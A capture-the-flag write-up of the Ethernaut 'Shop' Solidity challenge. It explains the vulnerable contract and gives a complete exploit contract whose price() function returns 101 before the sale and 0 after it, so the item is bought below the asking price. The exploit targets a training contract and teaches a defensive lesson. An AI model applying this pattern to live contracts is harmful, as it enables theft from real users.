Writeup for Shop
- Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. Each challenge involves deploying a contract and exploiting its vulnerabilities. If you’re new to Solidity and haven’t deployed a smart contract before, you can learn how to do so using Remix here.
Challenge Description
Can you get the item from the shop for less than the price asked?
Things that might help:
- Shop expects to be used from a Buyer
- Understanding restrictions of view functions
Contract Explanation
If you understand the contract, you can move on to the exploit part. If you’re a beginner, please read the Contract Explanation to gain a better understanding of Solidity.
Click to view source contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4interface Buyer {
5 function price() external view returns (uint256);
6}
7
8contract Shop {
9 uint256 public price = 100;
10 bool public isSold;
11
12 function buy() public {
13 Buyer _buyer = Buyer(msg.sender);
14
15 if (_buyer.price() >= price && !isSold) {
16 isSold = true;
17 price = _buyer.price();
18 }
19 }
20}
price
and isSold
. price
is of type uint256 and it is initialized to 100, while isSold
is of type bool.
1function buy() public {
2 Buyer _buyer = Buyer(msg.sender);
3
4 if (_buyer.price() >= price && !isSold) {
5 isSold = true;
6 price = _buyer.price();
7 }
8}
The function buy()
initializes the variable _buyer
of type Buyer
interface with msg.sender
. It then checks if the price offered by the buyer is greater than or equal to the current price and if the item has not been sold yet. If both conditions are met, the item is marked as sold and the price is updated to the buyer’s price.
Exploit
1function buy() public {
2 Buyer _buyer = Buyer(msg.sender);
3
4 if (_buyer.price() >= price && !isSold) {
5 isSold = true;
6 price = _buyer.price();
7 }
8}
If we see the buy()
function, in the if condition, it will check if the buyer’s price is more than the current price or not. But the buyer’s price is taken by making a call to the buyer. Once the conditions are satisfied, then it sets isSold
to true and it sets the price by again making a call to the buyer.
So in our exploit contract, if we somehow return the price value >100
for the first time it is called and if we return a value less than <100
for the second time it is called, then our challenge will be solved.
But if we check the Buyer interface, we can find that price()
is a view-only function, which means we cannot make any state changes in the price()
function.
Once the if condition in buy()
is satisfied, then isSold
is set to true and then the price value is fetched from the buyer. Since price()
function is a view function, we can check if isSold
is true or false before returning the price. Based on that, we can write the exploit contract. Below is the exploit contract.
1
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5interface Ishop{
6 function isSold() external view returns (bool);
7 function buy()external;
8}
9
10contract ExploitShop{
11 Ishop shop;
12 constructor(address _addr){
13 shop=Ishop(_addr);
14 }
15
16 function Exploit()public{
17 shop.buy();
18 }
19
20 function price() external view returns(uint256){
21 if(shop.isSold()){
22 return 0;
23 }
24 return 101;
25 }
26}
If we see the price()
function in our exploit contract, first it will check if the item is sold or not. If the item is sold, it will return 0
, otherwise it will return 101
.
Once we call the Exploit()
function, our challenge will be solved.
Key Takeaways
We should be careful when the logic in our contract is dependent on other contract calls. In this case, if the price()
function is a pure function
instead of a view function
, then the function won’t be able to read state variables from other contracts.
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments